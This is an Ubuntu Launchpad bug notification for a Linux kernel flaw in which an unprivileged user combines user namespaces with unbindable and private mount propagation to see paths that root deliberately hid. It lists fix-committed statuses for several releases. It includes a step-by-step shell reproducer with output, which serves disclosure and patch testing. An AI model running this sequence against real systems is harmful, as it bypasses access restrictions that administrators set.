** Changed in: linux (Ubuntu Cosmic)
Status: New => Fix Committed
** Changed in: linux (Ubuntu Disco)
Status: Triaged => Fix Committed
** Changed in: linux (Ubuntu Bionic)
Status: New => Fix Committed
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https://bugs.launchpad.net/bugs/1789161
Title:
Bypass of mount visibility through userns + mount propagation
Status in linux package in Ubuntu:
Fix Committed
Status in linux source package in Trusty:
Fix Committed
Status in linux source package in Xenial:
Fix Committed
Status in linux source package in Bionic:
Fix Committed
Status in linux source package in Cosmic:
Fix Committed
Status in linux source package in Disco:
Fix Committed
Bug description:
[Impact]
Jonathan Calmels from NVIDIA reported that he's able to bypass the
mount visibility security check in place in the Linux kernel by using
a combination of the unbindable property along with the private mount
propagation option to allow a unprivileged user to see a path which
was purposefully hidden by the root user.
[Test Case]
Reproducer:
# Hide a path to all users using a tmpfs
root@castiana:~# mount -t tmpfs tmpfs /sys/devices/
root@castiana:~#
# As an unprivileged user, unshare user namespace and mount namespace
stgraber@castiana:~$ unshare -U -m -r
# Confirm the path is still not accessible
root@castiana:~# ls /sys/devices/
# Make /sys recursively unbindable and private
root@castiana:~# mount --make-runbindable /sys
root@castiana:~# mount --make-private /sys
# Recursively bind-mount the rest of /sys over to /mnnt
root@castiana:~# mount --rbind /sys/ /mnt
# Access our hidden /sys/device as an unprivileged user
root@castiana:~# ls /mnt/devices/
breakpoint cpu cstate_core cstate_pkg i915 intel_pt isa kprobe
LNXSYSTM:00 msr pci0000:00 platform pnp0 power software system
tracepoint uncore_arb uncore_cbox_0 uncore_cbox_1 uprobe virtual
[Regression Potential]
Low. The fixes are relatively simple. Regressions would most likely be
specific to software utilizing user namespaces + mount propagation
which is a small (but often important) portion of the Ubuntu archive.
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